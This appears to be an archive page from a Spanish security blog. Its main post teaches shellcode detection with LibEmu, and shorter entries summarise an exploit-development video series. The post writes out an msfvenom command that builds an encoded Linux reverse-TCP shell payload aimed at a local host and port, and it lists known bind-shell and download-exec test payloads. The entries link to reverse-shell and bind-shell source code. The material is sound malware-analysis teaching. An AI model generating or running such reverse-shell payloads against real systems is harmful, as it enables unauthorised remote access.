Archive

Posts Tagged ‘exploit’

Detección de malware con libemu

marzo 17, 2015 1 comentario

Una de las principales tareas de cualquier investigador de malware consiste precisamente en obtener, analizar y comprender el funcionamiento de todas las muestras que pueda, de esta forma podrá entender mucho mejor las técnicas utilizadas por las personas que se dedican a crear este tipo de programas. Además de hacerlo por “diversión y beneficio”, la detección y posterior análisis de malware son algunas de las principales rutinas que se suelen implementar en sistemas IDS/IPS tales como Suricata y Snort o en HoneyPots tales como Dionaea. Para ello, existen varias librerías que ayudan a crear hooks para monitorizar y analizar algunas de las “API Calls” más utilizadas en programas maliciosos, una bastante conocida es PyDBG, la cual es ampliamente utilizada en proyectos tales como Pamei/Sulley Framework.

Sin embargo, no solamente existen librerías en Python para este tipo de actividades, y de hecho, otro lenguaje que se ha utilizado y se sigue utilizando con bastante frecuencia para la elaboración de analizadores de código malicioso es C/C++ y sobre dicho lenguaje, se encuentra desarrollada una de las librerías más potentes que conozco para el análisis de muestras de malware: LibEmu.

“Libemu es una librería que permite realizar un proceso básico de emulación sobre sistemas con arqutectura x86 y además, permite la detección de shellcodes utilizando heurísticas GetPC.”

Este mismo texto será el que encuentres en la página oficial de Libemu (http://libemu.carnivore.it/) pero para comprender realmente lo que significa, hace falta tener claros ciertos conceptos:
“Proceso básico de emulación”: Concretamente sobre las instrucciones disponibles en arquitecturas x86. Un proceso de emulación, a diferencia de un proceso de simulación, pretende modelar el comportamiento de un programa de la forma más precisa y exacta posible, creando para ello una plataforma completa que permita reproducir el funcionamiento del programa. Esto quiere decir que LibEmu se encarga de replicar las instrucciones básicas de un sistema, funcionando de un modo similar a una máquina virtual pero con la diferencia de que un emulador tiende a ser mucho más lento y permite emular también la CPU.

“Heurísticas GetPC”: Get Program Counter o también conocido como GetEIP en arquitecturas x86 es una técnica comúnmente utilizada en el desarrollo de shellcodes para determinar la ubicación del shellcode en el espacio de direcciones del proceso. Este tipo de rutinas son vitales para realizar procesos de decodificación y mutación, en las cuales el shellcode necesita conocer la ubicación en la que ha sido inyectado dentro del proceso vulnerable. “GetPC” no es una única técnica, sino que abarca varias técnicas que combinan instrucciones para conocer la dirección de memoria en la que se encuentra el shellcode. Algunas de dichas instrucciones son: CALL GetPC, FSTENV GetPC, SEH GetPC (sobre sistemas Windows y no soportado por LibEmu), entre otras que explicaré en un próximo articulo.

Para instalar LibEmu, se puede descargar la última versión estable desde el sitio web oficial en: http://libemu.carnivore.it/#download, desde el repositorio Git o utilizando el comando “apt-get install libemu2” en sistemas basados en Debian. En este caso, se utilizará la versión de desarrollo que se encuentra incluida en el repositorio.

>git clone git://git.carnivore.it/libemu.git>autoreconf -v -i

>./configure –prefix=/opt/libemu –enable-python-bindings –disable-werror

>make

Como se puede apreciar, a la hora de configurar el ejecutable con el comando “configure”, se ha utilizado la opción “–enable-python-bindings”, de esta forma se instalan también los “bindings” de Python para LibEmu de forma automática, es decir, se encarga de instalar la librería “pylibemu” para utilizar LibEmu desde Python, algo de lo que se hablará en un próximo articulo.

Una vez se ha terminado de instalar la librería en el sistema, contamos con algunas herramientas que son muy útiles para el análisis de malware y son las que le dan “vida” a LibEmu.

Para poder probar su funcionamiento se puede utilizar cualquier malware disponible en Internet (con precaución obviamente) o utilizando alguno de los payloads que se pueden generar con Metasploit Framework. Independiente del mecanismo utilizado, lo interesante de LibEmu son los resultados que arroja cuando se ejecutan utilidades como “sctest”.

Utilizando “msfvenom” de Metasploit Framework se creará un payload malicioso que posteriormente será utilizado para realizar las pruebas con LibEmu.

./msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.1.244 LPORT=4444 -e x86/shikata_ga_nai -f raw > testingPayload.bin No platform was selected, choosing Msf::Module::Platform::Linux from the payload

No Arch selected, selecting Arch: x86 from the payload

Found 1 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 98 (iteration=0)

Se ha utilizado “msfvenom”, un sustituto de la utilidad “msfpayload”, la cual se encuentra deprecada y que próximamente será removida del proyecto.

El fichero generado se ha nombrado como “testingPayload” y a continuación será utilizado con LibEmu y la utilidad “sctest” para ver el contenido del fichero y determinar si se trata de un programa malicioso o no.

En primer lugar, algunas de las opciones disponibles en “sctest” se pueden listar con el interruptor “-h/–help”

./sctest –help -a PATH use this argos csi files as input

–argos-csi= PATH

-b IP:PORT bind this ip:port

–bind=IP:PORT

-c IP:PORT redirect connects to this ip:port

–connect=IP:PORT

-C CMD command to execute for “cmd” in shellcode (default: cmd=”/bin/sh -c \”cd ~/.wine/drive_c/; wine ‘c:\windows\system32\cmd_orig.exe’ \””)

–cmd= CMD

-d INTEGER dump the shellcode (binary) to stdout

–dump=INTEGER

-g run getpc mode, try to detect a shellcode

–getpc

-G FILEPATH save a dot formatted callgraph in filepath

–graph=FILEPATH

-h show this help

–help

-i proxy api calls to the host operating system

–interactive

-l list all tests

–listtests

-o [INT|HEX] manual offset for shellcode, accepts int and hexvalues

–offset=[INT|HEX]

-p PATH write shellcode profile to this file

–profile= PATH

-S read shellcode/buffer from stdin, works with -g

–stdin

-s INTEGER max number of steps to run

–steps=INTEGER

-t INTEGER the test to run

–testnumber=INTEGER

-v be verbose, can be used multiple times, f.e. -vv

–verbose

Algunas resultan especialmente interesantes de cara a la detección de un programa malicioso, especialmente “-S”, “-t”, “-l” y “-g”.
Con la opción “-l” se pueden ver las pruebas que realizará la herramienta para detectar payloads maliciosos.

>./sctest -l
0 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=317 Encoder=None http://metasploit.com1 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=Pex http://metasploit.com

2 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum http://metasploit.com

3 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com

4 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=344 Encoder=ShikataGaNai http://metasploit.com

5 ) win32_bind – EXITFUNC=seh LPORT=4444 Size=349 Encoder=JmpCallAdditive http://metasploit.com

6 ) win32_reverse – EXITFUNC=seh LHOST=216.75.15.231 LPORT=4321 Size=287 Encoder=None http://metasploit.com

7 ) win32_downloadexec – URL=http://nepenthes.mwcollect.org/bad.exe Size=378 Encoder=None http://metasploit.com

8 ) win32_exec – EXITFUNC=seh CMD=cmd -c http://ftp.exe -s foo.scripted_sequence; echo der fox hat die gans gezogen Size=205 Encoder=None http://metasploit.com

9 ) some old dcom shellcode

10) brihgtstor discovery

11) amberg

12) lindau – linkbot connectback version

13) bremen – linkbot bind version

14) halle – filetransferr via csend

15) tills neuer

16) win32_bind pex & ./clet -S win32_bind_pex -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123

17) clet decoded nop slide (144 0x90 decoded with ./clet -S 144nop -b 50 -t -B -c -f ../spectrum/stat2 -a -n 123)

18) the hackers choice realplayer 8 exploit

19) win32_bind_vncinject – VNCDLL=/home/opcode/msfweb/framework/data/vncdll.dll EXITFUNC=seh AUTOVNC=1 VNCPORT=5900 LPORT=4444 Size=287 Encoder=None http://metasploit.com

20) windows/vncinject/reverse_tcp – 177 bytes (stage 1) http://www.metasploit.com DisableCourtesyShell=false, VNCHOST=127.0.0.1, VNCPORT=5900, EXITFUNC=seh, DLL=/tmp/framework-3.0/data/vncdll.dll, LPORT=4444, LHOST=192.168.53.20, AUTOVNC=true

21) till sein lsass dump

22) bindshell::schoenborn

23) sqlslammer

24) linux bindshell

25) Windows bindshell 0.0.0.0:8594 – tried exploit PNP_QueryResConfList/MS05-39

26) Windows bind filetransfer 0.0.0.0:38963 – tried to exploit DsRolerUpgradeDownlevelServer/MS04-11

27) libemu dos

28) windows/shell_bind_tcp AutoRunScript=, EXITFUNC=process, InitialAutoRunScript=, LPORT=4444, RHOST= http://www.metasploit.com

29) crash in loadlibrary

30) crash in fwrite

31) crash in lwrite/hwrite

32) crash in malloc

33) crash in send

34) crash in execve

Algunas de las pruebas que realiza la utilidad son bastante conocidas y por defecto las realiza todas, pero si se indica el interruptor “-t”, solamente se ejecutará la prueba con el identificador especificado.

A continuación se puede ejecutar “sctest” utilizando los interruptores “-g”, “-v”.

>./sctest -gS -s 150 -v < /home/adastra/Escritorio/testingPayload.bin verbose = 1

success offset = 0x00000000

int socket(int domain=2, int type=1, int protocol=0);

connect

stepcount 106

int socket (

int domain = 2;

int type = 1;

int protocol = 0;

) = 14;

int connect (

int sockfd = 14;

struct sockaddr_in * serv_addr = 0x00416fc2 =>

struct = {

short sin_family = 2;

unsigned short sin_port = 23569 (port=4444);

struct in_addr sin_addr = {

unsigned long s_addr = -201217856 (host=192.168.1.244);

};

char sin_zero = ” “;

};

int addrlen = 102;

) = 0;

Como se puede apreciar, “sctest” ha detectado que el programa en cuestión tiene un payload malicioso que se encarga de conectarse al puerto “4444” del host “192.168.1.244”. Como se puede ver, aparecen cada una de las funciones que en conjunto, representan un patrón malicioso conocido.

Por otro lado, también es posible importar los resultados en una imagen con la representación gráfica de cada una de las invocaciones que se han realizado.

>./sctest -gS -s 150 -v -G /home/adastra/Escritorio/payloadGraph.dot < /home/adastra/Escritorio/payload.bin

El formato generado por la herramienta es “DOT”, el cual puede ser rápidamente convertido a un formato mucho más conocido como JPEG o PNG utilizando Graphviz.

>sudo apt-get install graphviz

El resultado de ejecutar la utilidad con la opción “-G” se puede ver en la siguiente imagen.

payloadGraph

Flujo de invocaciones del programa

Para la detección de shellcodes, LibEmu se basa en técnicas GetPC tal como se ha visto anteriormente, con lo cual, para comprender cómo funciona LibEmu, lo más importante es comprender el funcionamiento de las técnicas GetPC, especialmente las basadas en llamadas (CALL) y en la función FNSTNV. En un próximo articulo intentaré profundizar un poco más en estas secuencias de instrucciones.

Un saludo y Happy Hack!
Adastra.

Explotación de Software Parte 34 – Desarrollo de Shellcodes en Linux – Egghunters

octubre 2, 2014 1 comentario

Explicación sobre el funcionamiento y uso de los EggHunters bajo plataformas Linux.
Utilizamos las técnicas descritas por Skape en su paper titulado “Safely Searching Process Virtual Address Space” el cual puede ser encontrado en el siguiente enlace: http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

skapeEggHunter.nasm:    https://github.com/Adastra-thw/ExploitSerie/blob/master/skapeEggHunter.nasm
shellcodeEggHunter.c:     https://github.com/Adastra-thw/ExploitSerie/blob/master/shellcodeEggHunter.c

Repositorio GIT de la serie:
https://github.com/Adastra-thw/ExploitSerie.git


Make a Donation Button

Explotación de Software Parte 33 – Desarrollo de Shellcodes en Linux – Reverse Shell

septiembre 18, 2014 1 comentario

Desarrollo de una ReverseShell en un sistema Linux. Se enseña el uso de la systemcall “socketcall” con las funciones “socket” y “connect”.

reverse.nasm:      https://github.com/Adastra-thw/ExploitSerie/blob/master/reverse.nasm
reverseTest.c:     https://github.com/Adastra-thw/ExploitSerie/blob/master/reverseTest.c


Repositorio GIT de la serie:

https://github.com/Adastra-thw/ExploitSerie.git


Make a Donation Button

Explotación de Software Parte 32 – Desarrollo de Shellcodes en Linux – Bind Shell

septiembre 11, 2014 1 comentario

Desarrollo de una BindShell en un sistema Linux. Se enseña el uso de la systemcall “socketcall” con las funciones “socket”, “bind”, “listen” y “accept”.

dump.sh:  https://github.com/Adastra-thw/ExploitSerie/blob/master/dump.sh
bind.nasm: https://github.com/Adastra-thw/ExploitSerie/blob/master/bind.nasm

Repositorio GIT de la serie:

https://github.com/Adastra-thw/ExploitSerie.git


Make a Donation Button

 

Explotación de Software Parte 31 – Desarrollo de Shellcodes en Linux – Execve Local Shell

septiembre 4, 2014 3 comentarios

Primer vídeo en el que se hace un énfasis especial en el desarrollo de shellcodes bajo sistemas Linux. Se enseña un ejemplo en el que es posible generar una shell local.

dump.sh:     https://github.com/Adastra-thw/ExploitSerie/blob/master/dump.sh
shell.nasm:  https://github.com/Adastra-thw/ExploitSerie/blob/master/shell.nasm
exit.nasm:   https://github.com/Adastra-thw/ExploitSerie/blob/master/exit.nasm

 

Repositorio GIT de la serie:

https://github.com/Adastra-thw/ExploitSerie.git


Make a Donation Button

Explotación de Software Parte 29 – Identificando Bad Characters en Shellcodes

agosto 21, 2014 1 comentario

Uso de mona.py para la generación de un array con todos los posibles caracteres que se pueden incluir en un shellcode.
Posteriormente, se identifican y remueven todos aquellos caracteres que alteren el array.

exploitMinishare2.py: https://github.com/Adastra-thw/ExploitSerie/blob/master/exploitMinishare2.py
Server-Strcpy.exe: https://github.com/Adastra-thw/ExploitSerie/blob/master/Server-Strcpy.exe
strcpyExploit.py: https://github.com/Adastra-thw/ExploitSerie/blob/master/strcpyExploit.py

Repositorio GIT de la serie:
https://github.com/Adastra-thw/ExploitSerie.git


Make a Donation Button

Explotación de Software Parte 28 – Conceptos Básicos sobre ShellCoding

agosto 14, 2014 Deja un comentario

Conceptos básicos sobre shellcoding y las principales consideraciones a tener en cuenta a la hora de crear shellcodes.

Repositorio GIT de la serie:
https://github.com/Adastra-thw/ExploitSerie.git


Make a Donation Button

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 1.543 seguidores

A %d blogueros les gusta esto: